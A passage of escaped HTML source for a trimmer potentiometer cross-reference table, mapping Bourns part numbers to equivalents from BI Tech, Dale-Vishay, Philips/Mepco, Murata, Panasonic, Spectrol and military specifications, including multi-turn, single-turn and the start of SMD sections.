1697/1897&lt;BR&gt;\n      1680/1880&lt;BR&gt;\n      2187&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      8035EKP/CT20/RJ-20P&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ-20X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      1211L&lt;BR&gt;\n      8012EKQ&amp;nbsp;ALT&lt;BR&gt;\n      8012EKR&amp;nbsp;ALT&lt;BR&gt;\n      1211P&lt;BR&gt;\n      8012EKJ&lt;BR&gt;\n      8012EKL&lt;BR&gt;\n      8012EKQ&lt;BR&gt;\n      8012EKR&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      2101P&lt;BR&gt;\n      2101W&lt;BR&gt;\n      2101Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2102L&lt;BR&gt;\n      2102S&lt;BR&gt;\n      2102Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVMCOG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      43P&lt;BR&gt;\n      43W&lt;BR&gt;\n      43Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      40L&lt;BR&gt;\n      40P&lt;BR&gt;\n      40Y&lt;BR&gt;\n      70Y-T602&lt;BR&gt;\n      70L&lt;BR&gt;\n      70P&lt;BR&gt;\n      70Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SQUARE MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n   &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3250L&lt;BR&gt;\n      3250P&lt;BR&gt;\n      3250W&lt;BR&gt;\n      3250X&lt;BR&gt;\n      3252P&lt;BR&gt;\n      3252W&lt;BR&gt;\n      3252X&lt;BR&gt;\n      3260P&lt;BR&gt;\n      3260W&lt;BR&gt;\n      3260X&lt;BR&gt;\n      3262P&lt;BR&gt;\n      3262W&lt;BR&gt;\n      3262X&lt;BR&gt;\n      3266P&lt;BR&gt;\n      3266W&lt;BR&gt;\n      3266X&lt;BR&gt;\n      3290H&lt;BR&gt;\n      3290P&lt;BR&gt;\n      3290W&lt;BR&gt;\n      3292P&lt;BR&gt;\n      3292W&lt;BR&gt;\n      3292X&lt;BR&gt;\n      3296P&lt;BR&gt;\n      3296W&lt;BR&gt;\n      3296X&lt;BR&gt;\n      3296Y&lt;BR&gt;\n      3296Z&lt;BR&gt;\n      3299P&lt;BR&gt;\n      3299W&lt;BR&gt;\n      3299X&lt;BR&gt;\n      3299Y&lt;BR&gt;\n      3299Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&amp;nbsp;ALT&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      64X&amp;nbsp;ALT&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66P&lt;BR&gt;\n      66W&lt;BR&gt;\n      66X&lt;BR&gt;\n      67P&lt;BR&gt;\n      67W&lt;BR&gt;\n      67X&lt;BR&gt;\n      67Y&lt;BR&gt;\n      67Z&lt;BR&gt;\n      68P&lt;BR&gt;\n      68W&lt;BR&gt;\n      68X&lt;BR&gt;\n      67Y&amp;nbsp;ALT&lt;BR&gt;\n      67Z&amp;nbsp;ALT&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      5050&lt;BR&gt;\n      5091&lt;BR&gt;\n      5080&lt;BR&gt;\n      5087&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T63YB&lt;BR&gt;\n      T63XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      5887&lt;BR&gt;\n      5891&lt;BR&gt;\n      5880&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T93Z&lt;BR&gt;\n      T93YA&lt;BR&gt;\n      T93XA&lt;BR&gt;\n      T93YB&lt;BR&gt;\n      T93XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKW&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKB&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      1309X&lt;BR&gt;\n      1309P&lt;BR&gt;\n      1309W&lt;BR&gt;\n      8024EKP&lt;BR&gt;\n      8024EKW&lt;BR&gt;\n      8024EKN&lt;BR&gt;\n      RJ-9P/CT9P&lt;BR&gt;\n      RJ-9W&lt;BR&gt;\n      RJ-9X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3105P/3106P&lt;BR&gt;\n      3105W/3106W&lt;BR&gt;\n      3105X/3106X&lt;BR&gt;\n      3105Y/3106Y&lt;BR&gt;\n      3105Z/3105Z&lt;BR&gt;\n      3102P&lt;BR&gt;\n      3102W&lt;BR&gt;\n      3102X&lt;BR&gt;\n      3102Y&lt;BR&gt;\n      3102Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMCBG&lt;BR&gt;\n      EVMCCG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      55-1-X&lt;BR&gt;\n      55-4-X&lt;BR&gt;\n      55-3-X&lt;BR&gt;\n      55-2-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      50-2-X&lt;BR&gt;\n      50-4-X&lt;BR&gt;\n      50-3-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      64Y&lt;BR&gt;\n      64Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3323P&lt;BR&gt;\n      3323S&lt;BR&gt;\n      3323W&lt;BR&gt;\n      3329H&lt;BR&gt;\n      3329P&lt;BR&gt;\n      3329W&lt;BR&gt;\n      3339H&lt;BR&gt;\n      3339P&lt;BR&gt;\n      3339W&lt;BR&gt;\n      3352E&lt;BR&gt;\n      3352H&lt;BR&gt;\n      3352K&lt;BR&gt;\n      3352P&lt;BR&gt;\n      3352T&lt;BR&gt;\n      3352V&lt;BR&gt;\n      3352W&lt;BR&gt;\n      3362H&lt;BR&gt;\n      3362M&lt;BR&gt;\n      3362P&lt;BR&gt;\n      3362R&lt;BR&gt;\n      3362S&lt;BR&gt;\n      3362U&lt;BR&gt;\n      3362W&lt;BR&gt;\n      3362X&lt;BR&gt;\n      3386B&lt;BR&gt;\n      3386C&lt;BR&gt;\n      3386F&lt;BR&gt;\n      3386H&lt;BR&gt;\n      3386K&lt;BR&gt;\n      3386M&lt;BR&gt;\n      3386P&lt;BR&gt;\n      3386S&lt;BR&gt;\n      3386W&lt;BR&gt;\n      3386X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      25P&lt;BR&gt;\n      25S&lt;BR&gt;\n      25RX&lt;BR&gt;\n      82P&lt;BR&gt;\n      82M&lt;BR&gt;\n      82PA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      91E&lt;BR&gt;\n      91X&lt;BR&gt;\n      91T&lt;BR&gt;\n      91B&lt;BR&gt;\n      91A&lt;BR&gt;\n      91V&lt;BR&gt;\n      91W&lt;BR&gt;\n      25W&lt;BR&gt;\n      25V&lt;BR&gt;\n      25P&lt;BR&gt;\n      -&lt;BR&gt;\n      25S&lt;BR&gt;\n      25U&lt;BR&gt;\n      25RX&lt;BR&gt;\n      25X&lt;BR&gt;\n      72XW&lt;BR&gt;\n      72XL&lt;BR&gt;\n      72PM&lt;BR&gt;\n      72RX&lt;BR&gt;\n      -&lt;BR&gt;\n      72PX&lt;BR&gt;\n      72P&lt;BR&gt;\n      72RXW&lt;BR&gt;\n      72RXL&lt;BR&gt;\n      72X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T7YB&lt;BR&gt;\n      T7YA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      TXD&lt;BR&gt;\n      TYA&lt;BR&gt;\n      TYP&lt;BR&gt;\n      -&lt;BR&gt;\n      TYD&lt;BR&gt;\n      TX&lt;BR&gt;\n      -&lt;BR&gt;\n      150SX&lt;BR&gt;\n      100SX&lt;BR&gt;\n      102T&lt;BR&gt;\n      101S&lt;BR&gt;\n      190T&lt;BR&gt;\n      150TX&lt;BR&gt;\n      101&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      101SX&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ET6P&lt;BR&gt;\n      ET6S&lt;BR&gt;\n      ET6X&lt;BR&gt;\n      RJ-6W/8014EMW&lt;BR&gt;\n      RJ-6P/8014EMP&lt;BR&gt;\n      RJ-6X/8014EMX&lt;BR&gt;\n      TM7W&lt;BR&gt;\n      TM7P&lt;BR&gt;\n      TM7X&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMS&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMB&lt;BR&gt;\n      8017SMA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6W&lt;BR&gt;\n      CT-6H&lt;BR&gt;\n      CT-6P&lt;BR&gt;\n      CT-6R&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6V&lt;BR&gt;\n      CT-6X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKV&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKX&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKP&lt;BR&gt;\n      8038EKZ&lt;BR&gt;\n      8038EKW&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3321H&lt;BR&gt;\n      3321P&lt;BR&gt;\n      3321N&lt;BR&gt;\n      1102H&lt;BR&gt;\n      1102P&lt;BR&gt;\n      1102T&lt;BR&gt;\n      RVA0911V304A&lt;BR&gt;\n      -&lt;BR&gt;\n      RVA0911H413A&lt;BR&gt;\n      RVG0707V100A&lt;BR&gt;\n      RVA0607V(H)306A&lt;BR&gt;\n      RVA1214H213A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3104B&lt;BR&gt;\n      3104C&lt;BR&gt;\n      3104F&lt;BR&gt;\n      3104H&lt;BR&gt;\n      -&lt;BR&gt;\n      3104M&lt;BR&gt;\n      3104P&lt;BR&gt;\n      3104S&lt;BR&gt;\n      3104W&lt;BR&gt;\n      3104X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMQIG&lt;BR&gt;\n      EVMQ3G&lt;BR&gt;\n      EVMS0G&lt;BR&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMG0G&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMK4GA00B&lt;BR&gt;\n      EVM30GA00B&lt;BR&gt;\n      EVMK0GA00B&lt;BR&gt;\n      EVM38GA00B&lt;BR&gt;\n      EVMB6&lt;BR&gt;\n      EVLQ0&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMSG&lt;BR&gt;\n      EVMMBG&lt;BR&gt;\n      EVMMAG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMCS&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM0&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM3&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      62-3-1&lt;BR&gt;\n      62-1-2&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67R&lt;BR&gt;\n      -&lt;BR&gt;\n      67P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67X&lt;BR&gt;\n      63V&lt;BR&gt;\n      63S&lt;BR&gt;\n      63M&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63H&lt;BR&gt;\n      63P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;&amp;nbsp;&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=3&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT color=\"#0000FF\" SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SMD TRIM-POT CROSS REFERENCE&lt;/B&gt;&lt;/FONT&gt;\n      &lt;P&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  